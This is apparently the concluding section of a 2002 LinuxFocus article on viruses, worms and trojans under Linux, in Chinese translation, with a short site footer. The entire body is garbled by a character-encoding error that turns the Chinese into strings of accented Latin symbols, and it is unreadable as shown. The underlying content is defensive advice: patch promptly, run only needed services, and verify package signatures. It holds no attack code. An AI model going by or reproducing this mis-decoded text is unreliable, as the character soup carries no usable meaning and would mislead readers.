ºóÃųÌÐòµÄ»úÖÆÒ²¿ÉÒÔ½«Æä×ÔÉíÒþ²ØÓڷdz£¸´ÔÓµÄÍâ±í»·¾³ÖÐÒÔÖÁÓÚ¶ÔÓÚ¾ø´ó¶àÊýµÄÈËÀ´ËµÊÇ̽²â²»µ½µÄ¡£Ò»¸öµäÐ͵ÄÀý×Ó¾ÍÊǹØÓÚ¼ÓÃÜϵͳµÄºóÃųÌÐò¡£ÀýÈ磬ÔÚ¹¤×÷µÄSE-LinuxϵͳÊÇÒ»¸öʹÓÃÁËÓÉNSAÌṩµÄ²¹¶¡ÔöÇ¿°²È«µÄLinux°æ±¾¡£¼ì²éÁËËùÌṩµÄ²¹¶¡µÄLinux¿ª·¢Õß˵ËüûÓÐʲôֵµÃ»³ÒÉ£¬µ«ÊÇËÒ²²»ÄÜÈ·ÐÅ£¬ºÎ¿öºÜÉÙÓÐÈËÄÜÓÐ×ã¹»µÄÊýѧ֪ʶÀ´·¢ÏÖ´ËÖÖ©¶´¡£
̽¾¿ÕâЩÔÚGnu/LinuxÊÀ½çÖз¢ÏÖµÄÓк¦³ÌÐòʹÎÒÃǵõ½ÈçϽáÂÛ£º×ÔÓÉÈí¼þÎÞ·¨µÖÓù²¡¶¾£¬È䳿£¬ÌØÂåÒÁľÂí»òÕ߯äËüÖ®ÀàµÄ£¡²»Òª¹ýÓÚ²ÝÂÊ£¬±ØÐë×¢Òâ¹ØÓÚµ±Ç°Ó¦ÓóÌÐòµÄ°²È«¾¯¸æ£¬ÌرðÊǵ±¹¤×÷Õ¾ÊÇÆµ·±Á¬½Óµ½Internetʱ¡£ÏÖÔÚÐγɺõÄϰ¹ßÊǺÜÖØÒªµÄ£ºÒ»µ©·¢ÏÖ©¶´£¬¾ÍÁ¢¼´Éý¼¶Èí¼þ£»Ö»Ê¹ÓÃËùÐèÇóµÄÍøÂç·þÎñ£»´Ó¿ÉÐÅÈεÄwebÕ¾µãÏÂÔØÓ¦ÓóÌÐò£»¶ÔÓÚÏÂÔØµÄ°ü¾¡¿ÉÄܾ³£µØ¼ì²éPGP»òÕßMD5Ç©Ãû¡£×î¡°ÑÏËàµÄ¡±ÈË»áʹ¶ÔÓÚ°²×°Ó¦ÓóÌÐòµÄ¿ØÖÆ×Ô¶¯»¯£¬ÀýÈçʹÓýű¾¡£
µÚ¶þÌõӦעÒâµÄ£ºÎ´À´LinuxϵͳµÄÁ½ÏîÖ÷ҪΣÏÕÒ»Êǹ¤×÷Ó¦ÓóÌÐòäĿµØ½âÎö°üº¬ÔÚÎĵµ£¨°üÀ¨µç×ÓÓʼþ£©Öеĺ꣬¶þÊÇ¶àÆ½Ì¨²¡¶¾£¬ËüÃǼ´Ê¹ÔÚWindowsÏÂÖ´ÐУ¬Ò²ÄÜÇÖÈëͬһ̨»úÆ÷ÉÏÔÚLinux·ÖÇøËùÕÒµ½µÄ¿ÉÖ´ÐÐÎļþ¡£Èç¹û˵µÚÒ»¸öÎÊÌâÈ¡¾öÓÚÓû§µÄÐÐΪ£¬ËûÃÇÓ¦¸Ã²»ÔÊÐí¹¤×÷Ó¦ÓóÌÐò½ÓÊÜÈκζ«Î÷£¬ÄÇôµÚ¶þ¸öÎÊÌâ¾ÍÊÇÏ൱ÄÑÒÔ½â¾öµÄ£¬¼´Ê¹¶ÔÓÚ¾¡Ö°µÄ¹ÜÀíÔ±Ò²ÊÇÈç´Ë¡£ÔںܽüµÄ½«À´£¬±ØÐ뽫ǿ´óµÄ²¡¶¾Ì½²âÆ÷Ó¦ÓÃÓÚÁ¬½Óµ½InternetµÄLinux¹¤×÷Õ¾£»ÈÃÎÒÃÇÆÚ´ýÕâÀàÏîÄ¿»áÔÚ×ÔÓÉÈí¼þÊÀ½çÖкܿì³öÏÖ¡£
¹ØÓÚ²¡¶¾£¬ÌØÂåÒÁľÂíºÍÆäËüÈí¼þÍþвµÄÎĵµµÄÊýÄ¿ÊǸöÊ®·ÖÖØÒªµÄÖ¸±ê£»ÓÐÐí¶à̸ÂÛĿǰ²¡¶¾µÄÔËÐз½Ê½ºÍÖ´Ðнá¹ûµÄÎÄÕ¡£µ±È»£¬¾ø´ó¶àÊýµÄÁбíÊǹØÓÚDos/WindowsµÄ£¬µ«ÊÇÒ²ÓÐһЩÓëLinuxÏà¹Ø¡£Õâ¶ùÌáµ½µÄÎĵµ¶¼ÊǷdz£¾µäµÄ£¬¶øÇÒ·ÖÎöÁËÀíÂÛÉϵÄʵÏÖ»úÖÆ¡£
|
Ö÷Ò³ÓÉLinuxFocus±à¼×éά»¤
© Christophe Blaess, FDL LinuxFocus.org µã»÷ÕâÀïÏòLinuxFocus±¨¸æ´íÎó»òÌá³öÒâ¼û |
·ÒëÐÅÏ¢:
|
2002-10-31, generated by lfparser version 2.25